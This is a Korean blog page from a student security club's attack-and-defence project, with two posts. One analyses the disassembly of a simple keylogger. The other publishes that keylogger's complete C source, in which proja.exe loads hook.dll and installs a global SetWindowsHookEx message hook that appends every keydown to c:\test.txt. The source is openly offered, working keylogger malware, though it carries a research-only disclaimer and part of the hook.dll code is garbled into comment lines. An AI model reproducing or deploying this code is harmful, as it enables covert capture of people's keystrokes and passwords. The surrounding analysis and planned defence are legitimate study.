'message hooking'에 해당되는 글 2건

  1. 2012.01.22 김성현군이 만든 초간단키로거 분석
  2. 2012.01.22 첫번째 방패 - 첫번째 키로거 19
프로젝트/창과 방패2012. 1. 22. 17:37


성현이가 만든 키로거를 간단하게 훑어보고 올린 제목의 "간단한 키로거"라는 거에서 

proja.exe에서 hook.dll 을 로드하여 SetWindowsEx 함수를 이용하여 전역 후킹하는 것으로 예상 함.
(타겟 프로그램이 따로 없는듯 하기 때문.)

proja.exe 파일과 hook.dll 파일, 두개의 파일로 이루어진 키로거


- proja.exe

분석 중, 0040BAE0h 에 위치부터 성현이가 만든 키로거의 핵심 루틴으로 보이는 것을 발견.

함수명을 확인한 결과, 

.text:0040BB13 mov     esi, esp
.text:0040BB15 push    offset aHook_dll                ; "hook.dll"
.text:0040BB1A call    ds:LoadLibraryA

위와 같은 부분을 찾았으며, "hook.dll" 을 로드하는것을 볼 수 있다.
그리고 해당 루틴안에는 아마도 분기문으로 로드가 실패했을때는
 "hook.dll을 로드할 수 없습니다."라는 MessageBox 출력 후 프로세스 종료

만약 성공시에는 계속 진행되는데,

.text:0040BB67 push    offset aGetmsgproc              ; "GetMsgProc"
.text:0040BB6C mov     edx, dword_4237AC
.text:0040BB72 push    edx
.text:0040BB73 call    ds:GetProcAddress

을 보면 "hook.dll"에서 export 한 함수인 GetMsgProc함수 주소를 가져오는 것을 볼 수 있다. 

.text:0040BB83 cmp     dword ptr [ebp-4], 0
.text:0040BB87 jnz     short loc_40BBCF
.text:0040BB89 mov     esi, esp
.text:0040BB8B push    0
.text:0040BB8D push    offset unk_420060
.text:0040BB92 push    offset unk_421008
.text:0040BB97 mov     eax, [ebp+8]
.text:0040BB9A push    eax
.text:0040BB9B call    ds:MessageBoxA
.text:0040BBA1 cmp     esi, esp
.text:0040BBA3 call    __chkesp
.text:0040BBA8 mov     esi, esp
.text:0040BBAA mov     ecx, dword_4237AC
.text:0040BBB0 push    ecx
.text:0040BBB1 call    ds:FreeLibrary
.text:0040BBB7 cmp     esi, esp
.text:0040BBB9 call    __chkesp
.text:0040BBBE mov     esi, esp
.text:0040BBC0 push    1
.text:0040BBC2 call    ds:ExitProcess

그 이후 역시 위와 같이 분기문을 통해 함수 주소를 가져오는것이 실패하면 메시지박스 출력 후 
프로세스를 종료하는 것을 볼 수 있다.

만약 가져오는데 성공 했다면 아래와 같이 성현이가 사용한 후킹 기법의 핵심이라 볼 수 있는
SetWindowsHookEx 함수를 이용해 후커를 설치하는 부분을 볼 수 있다.

.text:0040BBCF mov     esi, esp
.text:0040BBD1 push    0
.text:0040BBD3 mov     edx, dword_4237AC
.text:0040BBD9 push    edx
.text:0040BBDA mov     eax, [ebp-4]
.text:0040BBDD push    eax
.text:0040BBDE push    3
.text:0040BBE0 call    ds:SetWindowsHookExA

SEtWindowsHookEx 를 사용하여 지역 후킹 또는 전역 후킹을 하는데,
디버거로 분석하기전 실행을 통해 봤을때는 전역 후킹으로 보였다.
타겟 프로그램이 따로 없어보였기 때문.

직접 이 부분을 디버거로 호출 부분의 스택 부분을 본다면,

000000000018F86C  0038100500000003
000000000018F874  0000000000380000   "hook.dll"
000000000018F87C  0040100500000001
000000000018F884  CCCCCCCC00000000

이처럼 나와 있다.(64비트라 좀...)

이것과 같이 볼 것은 SetWindowsHookEx 함수 정보인데,

HHOOK WINAPI SetWindowsHookEx( __in int idHook,
__in HOOKPROC lpfn,
__in HINSTANCE hMod,
__in DWORD dwThreadId);
위와 같다.

그럼 스택을 이용해서 성현이가 작성한 코드에서 호출 한 것을 봐보면,

SetWindowsHookEx(3, GetMsgProc의 주소, 1, 0); 와 같은 방법으로 호출 한 것을 알 수 있다.

먼저 첫번째 인자는
WH_GETMESSAGE
                3

Installs a hook procedure that monitors messages posted to a message queue. For more information, see the GetMsgProc hook procedure.

즉 메시지 큐로 보내는 메시지 전체를 후커로 보낸다는 의미이고, 뒤에 설명을 보면 GetMsgProc 훅 프로시저에서 사용하는 걸 유추해 볼 수 있다.

그다음 두번째 인자는
후커, 즉 훅 프로시저의 포인터이고, 이건 위에서 얻은 GetProcAddress 함수의 리턴 값을 넣으면 될 것 같다.
세번째는 LoadLibrary 함수를 통해 얻은 "hook.dll" 핸들 값을 넣어주면 되고,
네번째는 후킹할 ThreadId 를 넣어주면 되는데, 특정 ThreadId 를 넣을 시 지역 후킹이 되고, 
0을 넣을 경우 전역 후킹이 되는데, 여기서 성현이는 전역 후킹을 사용했다.

계속해서 코드를 봤더니 역시 분기문을 통해 실패할 경우 메시지창을 띄우고 종료, 아닐 경우 다음으로 계속 진행되는데
여기서는 더이상 쓸모 있는 부분이 아니라 생략한다.



-hook.dll
자 이제 hook.dll 을 분석해보자.
일단 proja.exe 를 분석해서 알아낸 결과 hook.dll 에서 export 하는 함수인 GetMsgProc 함수를 찾아서 접근 해보았다.

GetMsgProc의 분기문 전까지 내용은 아래와 같다.

push    ebp
mov ebp, esp
sub esp, 48h
push ebx
push esi
push edi
lea edi, [ebp+var_48]
mov ecx, 12h
mov eax, 0CCCCCCCCh
rep stosd
mov eax, [ebp+arg_8]
cmp dword ptr [eax+4], 100h
jnz short loc_100010AB

마지막에서 두번째 줄인, cmp dword ptr [eax+4], 100h 부분은 후킹한 메시지의 wParam 값을 확인 후 분기하는거 같은데,
일단 키로거이기 때문에 100h은 WM_KEYDOWN 이나 KEY와 관련된 값이란걸 유추 할 수 있다.
확인 하기 위해 msdn 에 검색해보면
#define WM_KEYDOWN                      0x0100
위와 같이 WM_KEYDOWN 이 0x0100 으로 가져온 메시지에서 wParam이 WM_KEYDOWN 메시지인지 확인 한 후 분기하는걸 알 수 있다.

mov     esi, esp
push 0 ; hTemplateFile
push 80h ; dwFlagsAndAttributes
push 4 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 40000000h ; dwDesiredAccess
push offset FileName ; "c:\\test.txt"
call ds:CreateFileA
WM_KEYDOWN 일 경우엔, 처음에 CreateFile 함수를 통해 c:\test.txt의 파일 포인터를 가져오는 것을 알 수 있다.
이것으로 키값을 proja.exe의 윈도우에 출력이 아니라 해당 파일에 출력하는 것이라 유추 해 볼 수 있다.

다음으로 

push    2               ; dwMoveMethod
push 0 ; lpDistanceToMoveHigh
push 0 ; lDistanceToMove
mov ecx, [ebp+hObject]
push ecx ; hFile
call ds:SetFilePointer

SetFilePointer 함수를 사용하는데, msdn에 찾아보았다.
DWORD SetFilePointer(   HANDLE hFile,   
                        LONG lDistanceToMove,   
                        PLONG lpDistanceToMoveHigh,   
                        DWORD dwMoveMethod); 
This function moves the file pointer of an open file. A RAPI version of this function exists, called CeSetFilePointer (RAPI).

설명을 읽어보면 파일포인터를 이동하는 함수란걸 알 수 있다.
아마도 이걸 사용한거면 새로 입력 받는 키 값은 파일에서 맨 마지막에 붙이는 것 같은데,, 한번 봐보자,

첫번째 인자값엔 c:\test.txt 파일의 핸들을 넣었고,
두번째 인자값엔 옮길 위치를 넣는데, 0으로 지정한 것으로 보아 뒤에 나오는 네번째 인수에서 결정 할 것 같다.
세번째 인자는 Not supported; must be NULL or point to a value of zero. ,, 파일의 크기가 2기가 이상일 경우 사용하는것인데 여기선 0으로, 즉 사용 안함
네번째 인자는 [in] Starting point for the file pointer move. The following table shows possible values for this parameter.,, 파일 포인트 이동 시작 지점을 정해주는 것이다.
0x0 FILE_BEGIN - Indicates that the starting point is zero or the beginning of the file.
0x1 FILE_CURRENT - Indicates that the starting point is the current value of the file pointer.
0x2 FILE_END - Indicates that the starting point is the current EOF position.
이렇게 세가지가 있으며 0x2로 되어 있으니 파일 포인트 시작지점을 맨마지막으로 설정한다.

push 0 ; lpOverlapped
lea edx, [ebp+NumberOfBytesWritten]
push edx ; lpNumberOfBytesWritten
push 1 ; nNumberOfBytesToWrite
mov eax, [ebp+arg_8]
add eax, 8
push eax ; lpBuffer
mov ecx, [ebp+hObject]
push ecx ; hFile
call ds:WriteFile

그다음 나오는게 위의 WriteFile 함수 호출부분인데, 이건 받은 메시지에서 눌린 키값을 파일에 써주는 부분이다.

mov edx, [ebp+hObject]
push edx ; hObject
call ds:CloseHandle

그다음 나오는게 CloseHandle 호출이며 이 함수는 파일 핸들을 닫아주는 것으로 보인다.

이로써 분석은 끝나고,,
막는 방법은 여러가지를 생각 할 수 있다.
솔직히 쉽게는 해당 프로세스의 패턴을 프로그램에 등록해서 막을 수는 있고 가장 쉬운 방법이지만
프로그램을 재컴파일하여 만약 패턴부분이 바뀐다면 사용 할 수 없는 방법이다. (지속적인 업데이트 필요)

하지만 이번 프로젝트에서는 저런 방식(키로거의 패턴을 뽑아내서 해당 프로그램 차단 방식)을 하려는게 아니니까,,

원래는 현재 작업 중인 프로젝트가 있는데 막바지라 진행 중이던 프로젝트를 끝마치고 방어 프로그램을 제작해서 올리려고 했는데
모처럼 창과방패 프로젝트에서 처음 나온 결과물이니 최대한 빨리 답변 해주고 싶어서 이렇게 일단 보고서라도 만들었다.
현재 진행중인 프로젝트는 1~2틀 내로 끝날 것 같다.
진행중인 프로젝트가 끝나면 성현이의 키로거 전용 탐지기가 아니라, Message 를 이용한 hooking 을 봉쇄하는 프로그램을 만들어서 업로드 하겠다.

-------------------------------------------------------------------------------------

해당 글은 분석 했을 당시 동아리 게시판에 올렸던 글입니다.

저때 진행 중이었던 작업이 d3d hooking 분석 이였고, 지금은 그 작업을 끝내고 방패프로그램을 만드는 중입니다~ 

'프로젝트 > 창과 방패' 카테고리의 다른 글

첫번째 방패 - 첫번째 키로거  (19) 2012.01.22
창과 방패 프로젝트란..  (0) 2012.01.21
Posted by NullBr4in
프로젝트/창과 방패2012. 1. 22. 00:24


저는 처음부터 방어쪽을 만들고 싶었기에 다른 팀원이 키로거를 제작하기를 기다렸습니다.

드디어 프로젝트 팀원 중 김성현군이 첫번째 키로거를 만들어서 업로드 했습니다.

분석 결과 SetWindowsHookEx 함수를 사용하여 전역 훅을 설치, 키로거를 제작 하였습니다.

소스는 방패쪽에서 분석과 방어 프로그램을 제작하면 업로드 하는 식으로 진행 됩니다.

단, 분석 및 연구 목적으로만 사용하시기 바랍니다. 이것을 불법으로 사용하여 일어나는 책임은 사용자에게 있습니다.

아래 소스코드와 초간단 키로거 실습 프로그램은 FLAG 동아리 김성현군이 제공해주었습니다.



원래는 방패프로그램 제작 이후에 소스 공개하는게 원칙이지만 이번만은 사정이 있어서 

방패측에서 분석만 끝내고 창 프로그램의 소스를 공개했습니다.

proja.exe 소스코드
#include <windows.h>
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
HINSTANCE g_hInst;
LPCTSTR lpszClass = TEXT("Hacked by gh0st");
//hInstance 프로그램의 인스턴스핸들
//nCmdShow 프로그램이 실행될 형태이며 최소화,보통 모양 등이 전달
// APIENTRY 는 윈도우즈의 표준 호출규약인 __stdcall 사용
//아래의 Winmain 함수는 일반 C언어에서의 main과 같은 역할을 한다. 즉, 프로그램이 가장 
// 먼저 실행되는 함수이다.
// Winmain 함수의 인자가 복잡한데
//간단히 설명해서 hInstance는 프로그램 자체의 포인터이고, hPrevInstance는 해당 프로그램이 
//동시에 몇개가 실행되었는지 파악할 때 사용하는 변수
//lpszCmdParam은 argv와 같이 프로그램의 인자를 의미하고, 마지막으로 nCmdShow는 실행되는 
//프로그램의 모양을 나타낸다.

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpszCmdParam, int nCmdShow)
{
 HWND hWnd; //hWnd 윈도우 핸들

 MSG Message; // 윈도우에서 발생하는 메시지들을 저장할 변수
 WNDCLASS WndClass; // 화면에 생성할 윈도우 클래스 선언
 g_hInst=hInstance;
 WndClass.cbClsExtra=0;
 WndClass.cbWndExtra=0;
 WndClass.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH); // 메인 윈도우 배경색 지정
 WndClass.hCursor=LoadCursor(NULL,IDC_ARROW); // 윈도우 안에서의 마우스 커서모양 IDC_ARROW 기본 모양인 화살표
 WndClass.hIcon=LoadIcon(NULL,IDI_APPLICATION); //메인 윈도우 아이콘
 WndClass.hInstance=hInstance; // 프로그램의 인스턴스
 WndClass.lpfnWndProc=WndProc; // 이 윈도우에서 발생하는 메시지들을 처리할 함수를 지정
 WndClass.lpszClassName=lpszClass; // 이 윈도우의 클래스 이름
 WndClass.lpszMenuName=NULL; // 윈도우에 붙일 메뉴 지정
 WndClass.style=CS_HREDRAW | CS_VREDRAW;
 RegisterClass(&WndClass);
 hWnd=CreateWindow(lpszClass,lpszClass,WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,
CW_USEDEFAULT, NULL,(HMENU)NULL,hInstance,NULL);
//첫번째 인자는 윈도우를 생성할 때 사용할 클래스명, 두번째 인자는 창의 타이틀바에 들어갈 문자열, 세번째 인자는
// 윈도우의 형태(여기선 기본)
//네,다섯번째는 윈도우를 출력할 X,Y 좌표, 그다음 2개는 창의 좌 우 길이, 나머지 4개는 아래와 같
// NULL: the parent of this window
// NULL: this application does not have a menu bar
// hInstance: the first parameter from WinMain
// NULL: not used in this application
 

 ShowWindow(hWnd,nCmdShow); // 위에서 생성한 window를 화면에 출력

 while(GetMessage(&Message,NULL,0,0))
 {
  TranslateMessage(&Message); // 메시지 번역
  DispatchMessage(&Message); // 메시지 처리
 }
 return (int)Message.wParam;
}
// 위 while문은 윈도우 메시지 큐에서 가장 상위에 있는 메시지를 하나 뽑아와서 message 변수에 저장한 후,
// 그것을 번역한 다음 처리하는
// 과정을 담고 있다. 마지막 단계인 처리는 메시지를 메시지처리함수로 전달하는 역할을 한다.
 
LRESULT CALLBACK WndProc(HWND hWnd, UINT iMessage, WPARAM wParam, LPARAM IParam)
{
 static HINSTANCE hinstDll; // LoadLibrary 반환값 저장 변수
 HOOKPROC hGetMsgProc; // GetProcAddress 반환값 저장 변수
 static HHOOK hKeyHook; //SetWindowsHookEx 반환값 저장변수
 switch(iMessage){
//발생한 메시지가 WM_CREATE 일 경우, 즉 윈도우창이 생성되었을 경우 
 case WM_CREATE:
//LoadLibrary 함수는 인자로준 dll을 현재 프로세스의 주소공간으로 mapping 시켜서 사용할 수 있도록 해주는 API 
//이다.

  hinstDll = LoadLibrary("hook.dll"); // hook.dll load
  if(!hinstDll){
   MessageBox(hWnd, "hooker.dll을 로드할 수 없습니다.", "오류", MB_OK);
   ExitProcess(1);
  }
// GetProcAddress를 이용하여 DLL에서 export한 함수를 가져온다. 즉 hook.dll에서 GetMsgProc 함수를 호출 
hGetMsgProc = (HOOKPROC)GetProcAddress(hinstDll, "GetMsgProc");
  if(!hGetMsgProc){
   MessageBox(hWnd, "GetMsgProc 함수를 찾을 수 없습니다.", "오류", MB_OK);
   FreeLibrary(hinstDll);
   ExitProcess(1);
  }
// SetWindowsHookEx 함수는 자신의 훅 프로시저를 타 어플리케이션으의 훅 체인에 설치한다. 쉽게 말하면 타겟
// 프로그램의 윈도우 메시지 처리 프로시저
// 를 본인이 만든 윈도우 메시지 처리 프로시저로 변경 하는 것을 말한다. 메시지 프로시져 외에 여러가지 
//시스템 콜을 후킹할 수 있다.
// http://ontow.blog.me/140131028775 에서 인자값 확인
  hKeyHook = SetWindowsHookEx(WH_GETMESSAGE, hGetMsgProc, hinstDll, 0);
  if(!hKeyHook){
   MessageBox(hWnd, "Hooking을 성공하지 못했습니다.", "오류", MB_OK);
   FreeLibrary(hinstDll);
   ExitProcess(1);
  }
  return 0;         
 case WM_DESTROY:
  PostQuitMessage(0);
  return 0;
 }
 //DefWindowProc 함수는 WndProc에서 처리하지 않은 나머지 메시지에 관한 처리
 return(DefWindowProc(hWnd,iMessage,wParam,IParam));
}
// 위 메시지를 처리하는 함수는 CALLBACK 타입으로 지정된다. CALLBACK 이라는 것은 이 함수가 사용자에
// 의해 호출되는 것이 아닌, 프로그램에
의해 호출되는 것을 의미한다. 즉 DispatchMessage() 함수에 의해
// 호출된다. 인자들을 살펴보면 hWnd는 이메시지가 발생한 윈도우가 어떤것 
이었는지 말해주고, iMessage는
// 실제 발생한 메시지를 나타내며, 마지막 wParam과 IParam은 해당 메시지의 추가 옵션으로 이해하면된다.
// 윈도우 메시지의 종류로 http://cafe.naver.com/pplus.cafe?iframe_url=/ArticleRead.nhn%3Farticleid=167&
// 
여기서 확인
 
 
 
hook.dll 소스코드
// GetMsgProc 함수의 원형을 자세히보면 앞서 WndProc 라고 선언했던 CALLBACK 함수와 거의 비슷하다.
// 메시지가 발생했을때
// CALLBACK 함수로 전달된 인자들의 정보가 가공되어 이 GetMsgProc 함수로 전달된다.
// SetWindowsHookEx 함수에 의해 윈도우 내에서 발생하는 모든 메시지가 위 함수를 한번 거친후 자신의
// 본래 작업을 실행하게 된다.
// 즉 메시지발생->GetMsgProc처리->WndProc처리
 
 
#include <windows.h>

__declspec(dllexport) LRESULT CALLBACK GetMsgProc(INT nCode, WPARAM wp, LPARAM lp)
{
// message에서 발생한 메시지를 얻는다 그리고 그 메시지가 WM_KEYDOWN 라면 if문 실행
	if(((MSG*)lp)->message == (long)WM_KEYDOWN)	
	{			 
		HANDLE hFile; // 핸들변수
		DWORD dwWrite; // http://irontooth.tistory.com/117 확인
       	hFile = CreateFile("c:\\test.txt", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS,
			FILE_ATTRIBUTE_NORMAL, NULL); 
// http://blog.naver.com/zerolive_?Redirect=Log&logNo=10005814846 확인 SetFilePointer(hFile, 0, 0, FILE_END);
//http://irontooth.tistory.com/98 확인 WriteFile(hFile, &((MSG*)lp)->wParam, 1, &dwWrite, NULL);
//http://irontooth.tistory.com/117 확인 CloseHandle(hFile); } return TRUE; }

 

성현이-초간단키로거.zip

 


성현이-초간단키로거.zip

'프로젝트 > 창과 방패' 카테고리의 다른 글

김성현군이 만든 초간단키로거 분석  (0) 2012.01.22
창과 방패 프로젝트란..  (0) 2012.01.21
Posted by NullBr4in